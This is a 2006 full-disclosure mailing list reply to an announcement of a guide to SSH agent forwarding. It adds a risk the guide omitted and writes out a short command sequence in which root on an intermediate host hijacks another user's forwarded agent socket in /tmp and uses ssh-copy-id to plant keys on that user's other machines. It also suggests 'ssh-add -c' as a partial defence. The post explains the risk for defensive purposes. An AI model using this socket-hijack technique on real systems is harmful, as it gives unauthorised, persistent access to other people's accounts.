full-disclosure - Tech Tip: An Illustrated Guide to SSH Agent Forwarding

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Date: Fri Feb 24 11:54:03 2006
From: andrew2005 at ledge.co.za (Andrew McGill)
Subject: Tech Tip: An Illustrated Guide to SSH Agent
	Forwarding

On Wednesday Feb 22, 2006 around 1:37pm, Steve Friedl wrote,

> Hello all,
> 
> While trying to convince a customer that he really needs to get away
> from password auth on his SSH servers, I ended up diving in to make
> some detailed notes on how key agents and forwarding work. The outcome
> of this was a new Tech Tip which explains it in some detail:
> 
>   Unixwiz.net Tech Tip: An Illustrated Guide to SSH Agent Forwarding
>   http://www.unixwiz.net/techtips/ssh-agent-forwarding.html
> 
> I hope some find this helpful.
> 
> Regards,
> Steve

Here's something you missed in the "Cons" section of agent 
forwarding:

  lala@...al:       ssh-add 
  lala@...al:         (enter key)
  lala@...al:       ssh -A customer

    lala@...tomer:  ssh remote

      lala@...ote:  sleep 86400

And while you are sleeping:
  root@...tomer does this:
	export SSH_AUTH_SOCK=`find /tmp -user lala -name 'agent.*' | head -1`	
	ssh-copy-id lala@...ote 
	ssh-copy-id lala@...al
	ssh-copy-id lala@...ercustomer
	ssh-copy-id lala@...aland

(Oops) (that's a lot easier than subverting ssh to insert 
something evil into the stream that will hack into the remote)

If there are untrusted machines involved you may prefer this:

  ssh-add -c

Note that ssh-agent does not identify the origin of requests for 
authentication (a bug?), so its confirmation is not fail-safe.

&:-)


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